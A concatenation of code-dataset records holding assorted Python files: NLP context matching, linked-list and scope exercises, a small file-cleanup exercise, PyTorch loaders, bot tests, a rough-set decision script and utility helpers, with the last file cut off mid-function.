cmds.button(label=\"SHD GEN\",width=tmpRowWidth[1], annotation=\"Start Shader generator Ui\", command=shd_gen)\n cmds.button(label='?',width = win_width*0.1,annotation=\"Go to Lookdev kit documentation web page\", command=web)\n cmds.setParent(mainCL)\n\n # Display the window\n cmds.showWindow(w)\n","sub_path":"2018/scripts/lookdev_kit/ldv_kit.py","file_name":"ldv_kit.py","file_ext":"py","file_size_in_byte":89444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"543674942","text":"\"\"\"\n练习04:\n编写一个程序,删除主目录下FTP文件夹中\n大小不到10K的所有文件(假设这个文件夹\n中没有子文件夹)\n\"\"\"\nimport os\n\ndir = \"/home/tarena/FTP/\"\n\nfor file in os.listdir(dir):\n filename = dir + file # 拼接路径\n if os.path.getsize(filename) < 1024 * 10:\n os.remove(filename)\n","sub_path":"note/day03_all/day03/exercise04.py","file_name":"exercise04.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"514516014","text":"import numpy as np\n\nfrom itertools import chain\n\nimport spacy\n\nfrom spacy.matcher import Matcher\nfrom spacy.matcher import PhraseMatcher\n\nfrom psynlp.context.rule import Rule\nfrom psynlp.context.rule import MatchedRule\n\nimport re\n\nfrom psynlp.utils import get_global_resource\n\nKNOWN_CONTEXTS = ['experiencer', 'negation', 'plausibility', 'temporality']\n\nPOSITION_TO_IND = {'preceding': 0,\n 'following': 1,\n 'pseudo': 2,\n 'termination': 3\n }\n\n\nclass ContextMatcher:\n '''\n Detexts context of entities in text.\n '''\n\n def __init__(self, spacy_model, add_preconfig_triggers=True):\n\n # Nlp (tokenizer)\n spacy_model_path = get_global_resource(\n 'spacy/{}'.format(spacy_model))\n self._nlp = spacy.load(spacy_model_path)\n\n # Init phrase matcher for matching phrases\n self.phrase_matcher = PhraseMatcher(self._nlp.vocab, attr=\"LOWER\")\n\n # Init pattern matcher for matching spacy patterns\n self.pattern_matcher = Matcher(self._nlp.vocab, validate=True)\n\n # Init empty dict of regexp patterns for matching regexps\n self.trigger_regexps = {}\n\n # Dictionary from rule_keys to to rule. Will keep track of the rule that was triggered,\n # since the spacy matcher can only identify a rule using a string. Later on we can\n # the process the matches appropriately.\n self._rule_key_to_rule = {}\n self._num_rules = 0\n\n # List of context_classes (e.g. NegationContext, HistoricalContext)\n self._context_classes = []\n\n # Initially, there are no matches\n self._matched_rules = None\n\n # Length of the sentence\n self._sentence_length = None\n\n # Add preconfig triggers\n if add_preconfig_triggers:\n self._add_preconfig_triggers()\n\n def get_context_classes(self):\n return self._context_classes\n\n def _add_preconfig_triggers(self):\n '''\n Add all preconfigured contexts. Needs to be updated manually for new contexts\n '''\n\n for c in KNOWN_CONTEXTS:\n self._add_preconfig_context(c)\n\n def _add_rule_(self, rule):\n '''\n Add a new rule, by creating a key and adding it to rule_key_to_rule\n\n Arguments:\n rule (Rule) - The new rule.\n\n '''\n\n # Determine rule_key\n self._num_rules += 1\n rule_key = \"rule_{}\".format(self._num_rules)\n\n # Add to dictionary\n self._rule_key_to_rule[rule_key] = rule\n\n # Return the key\n return rule_key\n\n def _add_preconfig_context(self, context_string):\n\n if context_string not in KNOWN_CONTEXTS:\n raise NameError(\n \"Preconfigured context {} does not exist\".format(context_string))\n\n else:\n\n if context_string == \"experiencer\":\n from psynlp.context.triggers import ExperiencerContext, experiencer_triggers\n self.add_custom_context(\n ExperiencerContext, experiencer_triggers)\n\n elif context_string == \"negation\":\n from psynlp.context.triggers import NegationContext, negation_triggers\n self.add_custom_context(NegationContext, negation_triggers)\n\n elif context_string == \"plausibility\":\n from psynlp.context.triggers import PlausibilityContext, plausibility_triggers\n self.add_custom_context(\n PlausibilityContext, plausibility_triggers)\n\n elif context_string == \"temporality\":\n from psynlp.context.triggers import TemporalityContext, temporality_triggers\n self.add_custom_context(\n TemporalityContext, temporality_triggers)\n\n def add_custom_context(self, context_class, triggers):\n\n # Add to context classes\n self._context_classes.append(context_class)\n\n # Iterate over the triggers\n for trigger_key, trigger_list in triggers.items():\n\n # Unpack key\n # rule_level, e.g. NegationContext.NEGATED\n # rule_type, e.g. phrase, pattern, regexp\n # rule_position, e.g. preceding, following, psuedo, termination\n (rule_level, rule_type, rule_position) = trigger_key\n\n # If there are triggers in the list\n if len(trigger_list) > 0:\n\n # Create a new rule and, determine a key\n new_rule = Rule(level=rule_level,\n position=rule_position)\n\n rule_key = self._add_rule_(new_rule)\n\n # Phrases (in the phrase matcher)\n if rule_type == \"phrase\":\n\n nlp_phrases = list(self._nlp.tokenizer.pipe(trigger_list))\n self.phrase_matcher.add(rule_key, [*nlp_phrases])\n\n # Patterns (in the pattern matcher)\n elif rule_type == \"pattern\":\n\n self.pattern_matcher.add(rule_key, trigger_list)\n\n # Regepxs (in a list)\n elif rule_type == \"regexp\":\n\n for regexp in trigger_list:\n self.trigger_regexps[rule_key] = regexp\n\n else:\n raise NameError(\n \"Rule type {} does not exist\".format(rule_type))\n\n def _match_spacy_triggers(self, doc, matcher):\n\n matches = matcher(doc)\n\n # Process phrase and pattern matches\n for match_id, token_start, token_end in matches:\n\n # Find the match type and tokens\n rule_key = self._nlp.vocab.strings[match_id]\n rule = self._rule_key_to_rule[rule_key]\n match_tokens = doc[token_start:token_end]\n\n # Create a MatchedRule object that will be further processed later\n matched_rule = MatchedRule(token_start=token_start,\n token_end=token_end,\n level=rule.level,\n position=rule.position,\n text=match_tokens)\n\n self._matched_rules.append(matched_rule)\n\n def _match_regexp_triggers(self, text, doc):\n\n # Process regexps\n for rule_key in self.trigger_regexps:\n\n # Obtain rule\n rule = self._rule_key_to_rule[rule_key]\n\n # Iterate over matches\n for match in re.finditer(self.trigger_regexps[rule_key], text):\n\n # Determine span\n char_start, char_end = match.span()\n span = doc.char_span(char_start, char_end) # todo beter fixen\n\n # If the span is not empty\n if span is not None:\n\n # Create a MatchedRule object that will be further processed later\n matched_rule = MatchedRule(token_start=span.start,\n token_end=span.end,\n level=rule.level,\n position=rule.position,\n text=span\n )\n\n self._matched_rules.append(matched_rule)\n\n def _match_triggers(self, text):\n\n # Initialize\n self._matched_rules = []\n\n # Spacy tokenize document and find matches using the spacy matchers\n doc = self._nlp(text, disable=['parser', 'ner'])\n self._sentence_length = len(doc)\n\n self._match_spacy_triggers(doc, self.phrase_matcher)\n self._match_spacy_triggers(doc, self.pattern_matcher)\n\n self._match_regexp_triggers(text, doc)\n\n def _split_matches_per_context(self):\n\n # Matched rules per context class\n context_class_to_matched_rules = {}\n\n # Iterate over the context classes (e.g. NegationContext,\n # HistoricalContext) to divide the rules in each class\n for context_class in self._context_classes:\n\n # Empty list of matched rules per context class\n context_class_to_matched_rules[context_class.__name__] = []\n\n # Iterate over the context classes (e.g. NegationContext,\n # TemporalityContext) to divide the rules in each class\n for matched_rule in self._matched_rules:\n context_class_to_matched_rules[matched_rule.context_class].append(\n matched_rule)\n\n return (context_class_to_matched_rules)\n\n def _get_initialized_token_mask(self, level_dim, matched_rules):\n\n # Create a numpy array with token_mask, with three dimensions:\n # axis=0 Level (level 0 = nonexisting, level 1 = default (RECENT/AFFIRMED) and will not be used)\n # axis=1 Position\n # axis=2 Sentence length\n token_mask = np.zeros((level_dim,\n len(POSITION_TO_IND.keys()),\n self._sentence_length)\n )\n\n # Iterate over the matched rules\n for matched_rule in matched_rules:\n\n # Set token_mask to 1 where rules are matched\n token_mask[matched_rule.level.value,\n POSITION_TO_IND[matched_rule.position],\n matched_rule.token_start[0]:matched_rule.token_end[0]] = 1\n\n return token_mask\n\n def _forward_fill_token_mask(self, token_mask, level_dim):\n\n # Forward fill preceding triggers\n # Iterate over levels\n for j in range(2, level_dim):\n\n # Fill value\n pre_shift = 0\n\n # Iterate over tokens\n for i in range(self._sentence_length):\n\n # If matches a preceding trigger and no pseudo trigger, set fill value to 1\n if (token_mask[j, POSITION_TO_IND['preceding'], i] == 1) and (token_mask[j, POSITION_TO_IND['pseudo'], i] == 0):\n pre_shift = 1\n\n # If matches a termination trigger, set fill value to 0\n if (token_mask[j, POSITION_TO_IND['termination'], i] == 1):\n pre_shift = 0\n\n # Change to fill value\n token_mask[j, POSITION_TO_IND['preceding'], i] = pre_shift\n\n return (token_mask)\n\n def _backward_fill_token_mask(self, token_mask, level_dim):\n\n # Iterate over levels\n for j in range(2, level_dim):\n\n # Fill value\n post_shift = 0\n\n # Iterate over tokens in reversed order\n for i in reversed(range(self._sentence_length)):\n\n # If matches a following trigger and no pseudo trigger, set fill value to 1\n if (token_mask[j, POSITION_TO_IND['following'], i] == 1) and (token_mask[j, POSITION_TO_IND['pseudo'], i] == 0):\n post_shift = 1\n\n # If matches a termination trigger, set fill value to 0\n if (token_mask[j, POSITION_TO_IND['termination'], i] == 1):\n post_shift = 0\n\n # Change to fill value\n token_mask[j, POSITION_TO_IND['following'], i] = post_shift\n\n return (token_mask)\n\n def _process_token_mask(self, token_mask, level_dim):\n\n # Take the maximum of the 'preceding' and 'following masks'\n token_mask = np.max(token_mask[:, :2, :], axis=1)\n\n # Multiply with range to obtain index\n token_mask = token_mask * np.arange(level_dim).reshape(-1, 1)\n\n # Take maximum over levels\n token_mask = np.max(token_mask, axis=0)\n\n # Make sure default is used when nothing matches\n token_mask[token_mask == 0] = 1\n\n return (token_mask)\n\n def _get_token_mask_per_class(self, context_class, context_class_to_matched_rules):\n\n # Fetch rules\n matched_rules = context_class_to_matched_rules[context_class.__name__]\n\n # If there are no rules, revert to default label\n if len(matched_rules) == 0:\n token_mask = np.ones(self._sentence_length).reshape(-1, 1)\n\n # Otherwise compute token_mask\n else:\n\n # Level dimensionality is determined by the value of the largest level\n level_dim = max(\n [matched_rule.level.value for matched_rule in matched_rules]) + 1\n\n token_mask = self._get_initialized_token_mask(level_dim,\n matched_rules)\n\n token_mask = self._forward_fill_token_mask(token_mask,\n level_dim)\n\n token_mask = self._backward_fill_token_mask(token_mask,\n level_dim)\n\n token_mask = self._process_token_mask(token_mask,\n level_dim)\n\n return token_mask\n\n def _process_matches(self, entities):\n\n if self._matched_rules is None:\n raise NameError(\"Matcher not yet called.\")\n\n context_class_to_matched_rules = self._split_matches_per_context()\n\n # Iterate over context classes (e.g. NegationContext)\n for context_class in self._context_classes:\n\n token_mask = self._get_token_mask_per_class(\n context_class, context_class_to_matched_rules)\n\n # For each entity, add appropriate label\n for entity in entities:\n\n # Take the lowest match\n enum_value = np.min(\n token_mask[entity.token_start:entity.token_end])\n enum_label = context_class(enum_value).name\n entity.add_context(enum_label)\n\n def match_context(self, text, entities):\n\n if len(entities) > 0:\n\n self._match_triggers(text)\n\n self._process_matches(entities)\n","sub_path":"psynlp/context/context_matcher.py","file_name":"context_matcher.py","file_ext":"py","file_size_in_byte":13773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"623240038","text":"class Solution1(object):\n def isPalindrome(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n values = []\n while head:\n values.append(head.val)\n head = head.next\n return values == values[::-1]\n\nclass Solution2(object):\n def isPalindrome(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n #反转后半段链表,使用O(1)额外空间\n fast = slow = head\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n\n pre = None\n while slow:\n slow.next, pre, slow = pre, slow, slow.next\n\n while pre:\n if pre.val != head.val:\n return False\n pre = pre.next\n head = head.next\n\n return True\n","sub_path":"python/234.py","file_name":"234.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"498917297","text":"#scope => The region that a variable is recognized\r\n# A variable is only available from inside the region it is created.\r\n# A global and locally scoped versions of a variable can be created\r\n\r\ncareer = \"programming\" #global scope(available inside & outside functions)\r\ndef display_name():\r\n name = \"marcus\" #local scope(available only inside this function)\r\n print(name)\r\ndisplay_name()\r\nprint(career)","sub_path":"scope.py","file_name":"scope.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"229949120","text":"#declare a main function\r\ndef main():\r\n #prompt the user to enter an employee name\r\n name = input(\"Enter employee name: \")\r\n #prompt the user to enter an hourly wage\r\n wage = float ( input(\"Enter employee hourly wage: \"))\r\n #prompt the user to enter the number of hours the employee has worked\r\n hour = float ( input(\"Enter the number of hours the employee has worked: \"))\r\n #print the total pay of the employee\r\n print(\"Total pay :$\",CalculatePay(wage,hour))\r\n\r\n#this is a function that will calculate the total pay\r\ndef CalculatePay(wage, hour):\r\n #if the employee has worked more than 40 hours\r\n #calculate the normal pay + overtime pay\r\n if hour > 40:\r\n overTime_hours = hour - 40\r\n pay = wage * 40\r\n overTime_pay = overTime_hours * (wage*1.5)\r\n return pay + overTime_pay\r\n #otherwise just calculate the normal pay\r\n else:\r\n return (wage * hour)\r\n\r\nmain()\r\n","sub_path":"Extra-Credit-1/Part1_2.py","file_name":"Part1_2.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"528213134","text":"import numpy as np\nfrom struct import unpack\nimport torch\nimport torch.utils.data.dataset as Dataset\nimport torch.utils.data.dataloader as DataLoader\nimport sys\n \n#创建子类\nclass subDataset(Dataset.Dataset):\n #初始化,定义数据内容和标签\n def __init__(self, Data, Label):\n self.Data = Data\n self.Label = Label\n #返回数据集大小\n def __len__(self):\n return len(self.Data)\n #得到数据内容和标签\n def __getitem__(self, index):\n data = torch.Tensor(self.Data[index])\n label = torch.IntTensor(self.Label[index])\n return data, label\n \nif __name__ == '__main__':\n numProcess = int(sys.argv[1])\n pageNum = int(sys.argv[2])\n \n dataList = []\n labelList = []\n\n for i in range(pageNum*1024):\n dataList.append([666, 666])\n labelList.append([666])\n\n # Data = np.asarray([[1, 2], [3, 4],[5, 6], [7, 8]])\n # Label = np.asarray([[0], [1], [0], [2]])\n # print(dataList)\n Data = np.array(dataList)\n Label = np.array(labelList)\n\n dataset = subDataset(Data, Label)\n print(dataset)\n print('dataset大小为:', dataset.__len__())\n print(dataset.__getitem__(0))\n print(dataset[0])\n \n #创建DataLoader迭代器\n dataloader = DataLoader.DataLoader(dataset,batch_size= 2, shuffle = False, num_workers= numProcess)\n while True:\n for i, item in enumerate(dataloader):\n # print('i:', i)\n data, label = item\n print('data:', data)\n print('label:', label)","sub_path":"workload/forkTest.py","file_name":"forkTest.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"614477587","text":"from argparse import ArgumentTypeError\nfrom os.path import exists, isfile, isdir, splitext\nfrom PIL import Image\n\n\ndef check_image_file(path_to_source_file):\n if not exists(path_to_source_file):\n msg_exist = (\"No such file or directory\"\n \" - '{}' !\".format(path_to_source_file))\n raise ArgumentTypeError(msg_exist)\n elif not isfile(path_to_source_file):\n msg_isdir = \"'{}' is not a file\".format(path_to_source_file)\n raise ArgumentTypeError(msg_isdir)\n elif not check_file_extension((\".jpg\", \".png\"), path_to_source_file):\n raise ArgumentTypeError(\"The source image file {} is invalid!\\n\"\n \"The valid file extensions are {}\".format(\n path_to_source_file,\n (\".jpg\", \".png\")))\n elif not check_file_consistent(path_to_source_file):\n raise ArgumentTypeError(\"The source image file {} \"\n \"is invalid\".format(path_to_source_file))\n return path_to_source_file\n\n\ndef check_file_extension(extensions, path_to_source_file):\n file_name, file_extension = splitext(path_to_source_file)\n return file_extension in extensions\n\n\ndef check_file_consistent(path_to_source_file):\n try:\n with Image.open(path_to_source_file):\n return True\n except OSError:\n return False\n\n\ndef check_sizes_args(arg):\n if int(arg) <= 0:\n raise ArgumentTypeError(\"argument must be a positive!\")\n return int(arg)\n\n\ndef check_scale_arg(arg):\n if float(arg) <= 0:\n raise ArgumentTypeError(\"argument must be a positive!\")\n return float(arg)\n\n\ndef is_sizes_ratio_changed(original_size, new_size):\n original_width, original_height = original_size\n new_width, new_height = new_size\n return original_width/original_height != new_width/new_height\n\n\ndef validate_optional_args(parser):\n args = parser.parse_args()\n if args.scale is not None:\n if args.width or args.height:\n parser.error(\"You can not specify scale with \"\n \"height or width the same time! \")\n if not args.width and not args.height and not args.scale:\n parser.error(\n \"You didn't specify \"\n \"any optional parameter!\\n\"\n \"Run image_resize.py -h to read script usage.\"\n )\n return True\n\n\ndef check_output_path(arg):\n if not exists(arg):\n msg_exist = (\"No such file or directory - \"\n \"'{}' !\".format(arg))\n raise ArgumentTypeError(msg_exist)\n elif not isdir(arg):\n msg_isdir = \"'{}' is not a directory\".format(arg)\n raise ArgumentTypeError(msg_isdir)\n return arg.output\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"99973398","text":"import unittest.mock as mock\nimport asyncio\n\nimport pytest\n\nfrom csbot import core\nfrom csbot.plugin import Plugin\n\n\nclass TestHookOrdering:\n class Bot(core.Bot):\n class MockPlugin(Plugin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.handler_mock = mock.Mock(spec=callable)\n\n @Plugin.hook('core.message.privmsg')\n async def privmsg(self, event):\n await asyncio.sleep(0.5)\n self.handler_mock('privmsg', event['message'])\n\n @Plugin.hook('core.user.quit')\n def quit(self, event):\n self.handler_mock('quit', event['user'])\n\n available_plugins = core.Bot.available_plugins.copy()\n available_plugins.update(\n mockplugin=MockPlugin,\n )\n\n CONFIG = f\"\"\"\\\n [@bot]\n plugins = mockplugin\n \"\"\"\n pytestmark = pytest.mark.bot(cls=Bot, config=CONFIG)\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('n', list(range(1, 10)))\n async def test_burst_in_order(self, bot_helper, n):\n \"\"\"Check that a plugin always gets messages in receive order.\"\"\"\n plugin = bot_helper['mockplugin']\n users = [f':nick{i}!user{i}@host{i}' for i in range(n)]\n messages = [f':{user} QUIT :*.net *.split' for user in users]\n await asyncio.wait(bot_helper.receive(messages))\n assert plugin.handler_mock.mock_calls == [mock.call('quit', user) for user in users]\n\n @pytest.mark.asyncio\n async def test_non_blocking(self, bot_helper):\n plugin = bot_helper['mockplugin']\n messages = [\n ':nick0!user@host QUIT :bye',\n ':nick1!user@host QUIT :bye',\n ':foo!user@host PRIVMSG #channel :hello',\n ':nick2!user@host QUIT :bye',\n ':nick3!user@host QUIT :bye',\n ':nick4!user@host QUIT :bye',\n ]\n await asyncio.wait(bot_helper.receive(messages))\n assert plugin.handler_mock.mock_calls == [\n mock.call('quit', 'nick0!user@host'),\n mock.call('quit', 'nick1!user@host'),\n mock.call('quit', 'nick2!user@host'),\n mock.call('quit', 'nick3!user@host'),\n mock.call('quit', 'nick4!user@host'),\n mock.call('privmsg', 'hello'),\n ]\n","sub_path":"tests/test_bot.py","file_name":"test_bot.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"111146051","text":"import torch\nimport itertools\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef evaluation(models, opts, dl):\n logits = []\n labels = []\n losses = []\n attentions = []\n\n post_processing = {}\n\n pbar = tqdm(dl, total=len(dl))\n for batch in pbar:\n\n label = batch['labels']\n batch_size = len(label)\n\n batch = {k: v.cuda() for k, v in batch.items()}\n results = [model(**batch) for model in models]\n # iterating over the batch, stacking refs and hyps\n for i in range(batch_size):\n logits.append([r['output'][i].data.cpu().numpy() for r in results])\n labels.append(label[i].data.cpu().numpy())\n\n # Do we have attention weights?\n if 'attentions' in results[0]:\n # attentions will be of size num_models x bs x num_layers x num_heads x seq_len x seq_len\n for i in range(batch_size):\n attentions.append([torch.stack(list(r['attentions']))[:, i, :].data.cpu().numpy() for r in results])\n\n # getting average loss\n losses.append(np.mean([r['loss'].cpu().item() for r in results]))\n\n preds = np.mean(np.array(logits), axis=1)\n loss = np.mean(np.array(losses))\n\n if attentions:\n post_processing[\"attentions\"] = np.array(attentions)\n\n return {**{'loss': loss, 'refs': np.array(labels), 'hyps': np.array(preds)}, **post_processing}\n","sub_path":"vilmedic/networks/blocks/classifier/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"207064483","text":"from __future__ import division\r\nimport pandas as pd\r\nimport os\r\nimport numpy as np\r\nimport math\r\nimport time\r\nstart =time.clock()\r\n\r\n\r\ntrainFile = r'adult.csv'\r\npwd = os.getcwd()\r\n#os.chdir(os.path.dirname(trainFile))\r\ntrainData = pd.read_csv(os.path.basename(trainFile),header=None,dtype='int')\r\nos.chdir(pwd)\r\n\r\n\r\ngroups1 = trainData.groupby([0,1,2,3,4,5,6,7,8,9,10]).groups\r\ngroups2 = trainData.groupby([1,2,3,4,5,6,7,8,9,10]).groups\r\ngroups3 = trainData.groupby([0,2,3,4,5,6,7,8,9,10]).groups\r\ngroups4 = trainData.groupby([0,1,3,4,5,6,7,8,9,10]).groups\r\ngroups5 = trainData.groupby([0,1,2,4,5,6,7,8,9,10]).groups\r\ngroups6 = trainData.groupby([0,1,2,3,5,6,7,8,9,10]).groups\r\ngroups7 = trainData.groupby([0,1,2,3,4,6,7,8,9,10]).groups\r\ngroups8 = trainData.groupby([0,1,2,3,4,5,7,8,9,10]).groups\r\ngroups9 = trainData.groupby([0,1,2,3,4,5,6,8,9,10]).groups\r\ngroups10 = trainData.groupby([0,1,2,3,4,5,6,7,9,10]).groups\r\ngroups11 = trainData.groupby([0,1,2,3,4,5,6,7,8,10]).groups\r\ngroups12 = trainData.groupby([0,1,2,3,4,5,6,7,8,9]).groups\r\n\r\ngroupsd = trainData.groupby([11]).groups\r\n\r\n\r\ndef e(index,groups):\r\n for item in groups.values():\r\n if index in item:\r\n return set(item)\r\n\r\n\t\t\r\ndef kd(index, group1, group2):\r\n s1=e(index,group1)\r\n s2=e(index, group2)\r\n return len(s1.union(s2))-len(s1.intersection(s2))\r\n\t\r\ndef_data=len(trainData)\r\ndef ai(len_data,group1,group2):\r\n _sum=0\r\n for i in range(len_data):\r\n _sum+=kd(i,group1,group2)\r\n return _sum/(len_data*len_data)\r\n\r\n\t\t\r\n\r\n\t\t\r\ngroup=[groups2,groups3,groups4,groups5,groups6,groups7,groups8,groups9,groups10,groups11,groups12]\r\n\r\ndef nor(len_data,group):\r\n sum_= 0\r\n w=[]\r\n for j in group:\r\n sum_+=ai(len_data,groups1,j)\r\n for j in group:\r\n w.append(ai(len_data,groups1,j)/sum_)\r\n return w\r\nw = nor(len(trainData),group)\r\n\r\n\r\n\r\ndef coe(c1,c2,c3,c4,c5,c6):\r\n if 0.5*(c2-c3)*(c5-c6)>=(c1-c2)*(c4-0.5*c5):\r\n return c1,c2,c3,c4,c5,c6\r\n\r\n\r\n\r\ndef uti(a_,b,c0):\r\n utia=-a_\r\n utip=math.log(2,math.e)/(math.log((b-a_),math.e)-math.log((c0-a_),math.e))\r\n utiq=1/(b-a_)**utip\r\n return utia,utip,utiq\r\n\t\r\ndef uti(a_,b,c0):\r\n utia=-a_\r\n utip=math.log(2,math.e)/(math.log(abs(b-a_),math.e)-math.log(abs(c0-a_),math.e))\r\n utiq=1/(b-a_)**utip\r\n return utia,utip,utiq\r\n\r\nuti_list = []\r\na__b_c0_list = [(17,90,65),(1,8,5),(1,16,10),(1,16,9),(1,6,4),(1,14,9),(1,6,5),(1,5,3.2),(1,2,1.8),(1,99,55),(1,41,30)]\r\nfor a_,b,c0 in a__b_c0_list:\r\n uti_list.append(uti(a_,b,c0))\r\nuti_list\r\n\r\n\r\n\r\nc1,c2,c3,c4,c5,c6 = 9,8,1,9,7,3\r\nresult = []\r\ndef wuti(c1,c2,c3,c4,c5,c6,i,w,columns):\r\n '''uuu'''\r\n coe(c1,c2,c3,c4,c5,c6)\r\n upp,ubp,unp,unn,ubn,upn,sumu=0,0,0,0,0,0,0\r\n for col in range(len(columns)):\r\n# print(' i am here')\r\n# print(i,col)\r\n tmp = trainData.ix[i,columns[col]]-uti_list[col][0]\r\n sumu+=uti_list[col][2]*(tmp)**uti_list[col][1]\r\n# print('over')\r\n\r\n for col in range(len(columns)):\r\n tmp = (uti_list[col][2]*(trainData.ix[i,columns[col]]-uti_list[col][0])**uti_list[col][1])\r\n tmp1 = np.power(c1,tmp) + c1\r\n tmp2 = np.power(c2,tmp) + c2\r\n tmp3 = np.power(c3,tmp) + c3\r\n tmp4 = np.power(c4,tmp) + c4\r\n tmp5 = np.power(c5,tmp) + c5\r\n tmp6 = np.power(c6,tmp) + c6\r\n upp+=w[col]*tmp1 / 18\r\n ubp+=w[col]*tmp2 / 18\r\n unp+=w[col]*tmp3/ 18\r\n unn+=w[col]*tmp4 / 18\r\n ubn+=(1/(sumu/len(columns)+1))*w[col]*tmp5 / 18\r\n upn+=(1/(sumu/len(columns)+1))*w[col]*tmp6 / 18\r\n\r\n alpha=(ubn-upn)/(upp-ubp+ubn-upn)\r\n beta=(unn-ubn)/(ubp-unp+unn-ubn)\r\n\r\n return upp,ubp,unp,unn,ubn,upn,alpha,beta\r\n\t\r\n\t\r\n\r\nrough_mem_func = []\r\nfor key in groups1.keys():\r\n rough_mem_func.append(len(set(groupsd[1]).intersection(groups1[key])) / len(groups1[key]))\r\n\r\n\r\nclasses = [] \r\nfor key in groups1.keys():\r\n classes.append(groups1[key][0])\r\n \r\n\r\ncolumns=[0,1,2]\r\npos,bnd,neg = [],[],[]\r\nfor i in classes:\r\n result.append(wuti(c1,c2,c3,c4,c5,c6,i,w,columns))\r\n alpha,beta = result[-1][-2:]\r\n keys = list(groups1.keys())\r\n for i in range(len(rough_mem_func)):\r\n tmp = rough_mem_func[i]\r\n if tmp >= alpha:\r\n pos.extend(groups1[keys[i]])\r\n elif tmp <= beta:\r\n neg.extend(groups1[keys[i]])\r\n else:\r\n bnd.extend(groups1[keys[i]])\r\n\r\npos = set(pos)\r\nbnd = set(bnd)\r\nneg = set(neg)\r\n\r\ncorrection_rate=(len(set(groupsd[1]).intersection(set(pos)))+len((set(groupsd[2])).intersection(set(neg))))/len(trainData)\r\nprint(correction_rate)\r\n\r\nend = time.clock()\r\nprint('Running time: %s Seconds'%(end-start))\r\n\r\n","sub_path":"my.py","file_name":"my.py","file_ext":"py","file_size_in_byte":4657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"410461920","text":"import torch\nfrom lightwood.encoders.text.helpers.rnn_helpers import Lang\n\nUNCOMMON_WORD = ''\nUNCOMMON_TOKEN = 0\n\nclass CategoricalEncoder:\n\n def __init__(self, is_target = False):\n\n self._lang = None\n self._pytorch_wrapper = torch.FloatTensor\n\n def encode(self, column_data):\n\n if self._lang is None:\n self._lang = Lang('default')\n self._lang.index2word = {UNCOMMON_TOKEN: UNCOMMON_WORD}\n self._lang.n_words = 1\n for word in column_data:\n if word != None:\n self._lang.addWord(word)\n\n ret = []\n v_len = self._lang.n_words\n\n for word in column_data:\n encoded_word = [0]*v_len\n if word != None:\n index = self._lang.word2index[word] if word in self._lang.word2index else UNCOMMON_TOKEN\n encoded_word[index] = 1\n\n ret += [encoded_word]\n\n return self._pytorch_wrapper(ret)\n\n\n def decode(self, encoded_data):\n\n encoded_data_list = encoded_data.tolist()\n\n ret = []\n\n\n for vector in encoded_data_list:\n found = False\n\n\n max_i = 0\n max_val = 0\n for i in range(len(vector)):\n val = vector[i]\n if val > max_val:\n max_i = i\n max_val = val\n ret += [self._lang.index2word[max_i]]\n\n\n return ret\n\n\nif __name__ == \"__main__\":\n\n data = 'once upon a time there where some tokens'.split(' ') + [None]\n\n enc = CategoricalEncoder()\n\n print (enc.encode(data))\n\n print(enc.decode(enc.encode(['not there', 'time', 'tokens', None])))\n\n\n\n","sub_path":"lightwood/encoders/categorical/categorical.py","file_name":"categorical.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"458850501","text":"'''\nCreated on 17.02.2014\n\n@author: marscher\n'''\nfrom __future__ import absolute_import\n\nimport os\nimport re\nfrom glob import glob\nfrom pyemma.util.log import getLogger\n\nfrom pyemma.msm.io.api import read_discrete_trajectory\n\n__all__ = ['paths_from_patterns', 'read_dtrajs_from_pattern']\n\n\ndef handleInputFileArg(inputPattern):\n \"\"\"\n handle input patterns like *.xtc or name00[5-9].* and returns\n a list with filenames matching that pattern.\n \"\"\"\n # if its a string wrap it in a list.\n if isinstance(inputPattern, str):\n return handleInputFileArg([inputPattern])\n\n result = []\n\n for e in inputPattern:\n # split several arguments\n pattern = re.split('\\s+', e)\n\n for i in pattern:\n tmp = glob(i)\n if tmp != []:\n result.append(tmp)\n return [item for sublist in result for item in sublist]\n\n\ndef paths_from_patterns(patterns):\n \"\"\"\n Parameters\n ----------\n patterns : single pattern or list of patterns\n eg. '*.txt' or ['/foo/*/bar/*.txt', '*.txt']\n\n Returns\n -------\n list of filenames matching patterns\n \"\"\"\n if type(patterns) is list:\n results = []\n for p in patterns:\n results += glob(p)\n return results\n else:\n return glob(patterns)\n\n\ndef read_dtrajs_from_pattern(patterns, logger=getLogger()):\n \"\"\"\n Parameters\n ----------\n patterns : single pattern or list of patterns\n eg. '*.txt' or ['/foo/*/bar/*.txt', '*.txt']\n\n Returns\n -------\n list of discrete trajectories : list of numpy arrays, dtype=int\n\n \"\"\"\n dtrajs = []\n filenames 